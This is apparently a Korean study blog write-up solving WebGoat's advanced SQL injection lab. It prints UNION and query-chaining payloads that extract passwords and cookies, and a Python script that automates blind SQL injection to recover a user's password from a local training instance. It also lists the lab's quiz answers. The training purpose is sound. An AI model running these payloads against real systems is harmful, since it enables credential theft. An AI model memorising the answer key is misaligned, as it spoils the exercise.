Web Hacking Study/웹해킹

[Webgoat] A3 Injection - SQL Injection (Advanced)

silver surfer 2023. 10. 30.

문제 3
다른 테이블에 있는 데이터를 조회해야한다. 쿼리체이닝을 사용하거나 Union을 사용하거나 서브쿼리를 사용해야한다. 

 
답 1.
먼저 쿼리체이닝을 통해 문제를 풀어보자
'; select * from user_system_data--
문자열 범위를 임의로 종료시킨 뒤 user_system_data 테이블에 있는 모든 데이터를 추출한다.
 

 
답 2.
Union을 이용해 공격해보자. Union은 조회되는 쿼리의 컬럼 수를 맞춰야하는데 user_data 테이블에는 몇 개의 컬럼이 존재하는지 알아보자.
' or 1=1--
 
총 7개가 조회된다. 근데 위에서 봤듯이 user_system_data table은 컬럼이 4개가 존재한다. user_data 테이블의 컬럼 자료형에 맞게 입력해준다.
 
' union select userid,user_name, password, null,null, cookie, null from user_system_data -- 

Dave의 패스워드를 입력하면 된다.

 
문제 5
blind sql injection

test' or 1=1-- 로 공격해봤더니 login 쪽은 방어로직이 있다.
 
회원가입 쪽을 살펴보자.

무난하게 계정 생성이 된다.
 

다시 해보면 이미 계정이 존재한다고 한다. 여기서 ID 중복확인을 위해 select문을 사용하고 있음을 추측할 수 있다.
 
test' and 1=1 -- 을 넣어 참&참 조건을 만들었다.

조건문이 참인 경우
 
test' and 1=2 -- 를 넣어 참&거짓인 경우를 넣어보았다.

중복체크 쿼리가 참이되면 가입에 실패하고, 거짓이 되면 가입에 성공한다.
우리는 이 정보를 이용해서 Tom의 패스워드를 한자한자 맞춰나간다.
 
Blind sql injection을 실행하기 위한 페이로드 코드를 넣어본다.
' or ascii(substring(password,1,1)) < 127 and userid = 'tom
 

거짓 or 참 and 참 = 참이 되므로 이미 아이디가 존재한다고 뜬다.
 
버프스윗에서 브루트 포싱을 통해 답을 알아낼 것이다. 해당 패킷을 참고하여 payload를 작성한다. 
먼저 톰의 비밀번호 자릿수를 알아낸다. 얘도 브루트포싱으로 알아낸다. 

 

톰의 비밀번호 자릿수는 23자리임을 알았다.
그리고 이제 위에 써놨던
 
' or ascii(substring(password,1,1)) < 127 and userid = 'tom 페이로드를
' or ascii(substring(password,1,1)) = 127로 변경해서 127 부분만 바꿔볼 것이다.

해당 부분을 33부터 127까지 돌리면서 답을 찾을 것이다. 
 
첫 번째 자릿수의 ascii 번호는 116인 것을 알았다.

이렇게 하면 너무 오래걸리니까 코드 작성
 

import requests

url = "http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge"
cookie = {'JSESSIONID' : '0W-3AdUXcmPyKzWz2N3ZCEmRSkZxvvx9WrPW7MK_'}

pw = ''
for i in range(24):
	for j in range(33,128):
		payload = "tom' and ascii(substring(password,{},1)) = {} and userid = 'tom".format(i,j)
		data = {'username_reg': payload, 'email_reg':'test@test.com', 'password_reg':'test','confirm_password_reg':'test'}
		req = requests.put(url,data,cookies=cookie)

		if 'exists' in str(req.content):
			pw += chr(j)
			break

print("tom's password : %s " %pw)

 

thisisasecretfortomonly가 비밀번호다

 
문제 6.
1 - ④
2 - ③
3 - ②
4 - ③
5 - ④

댓글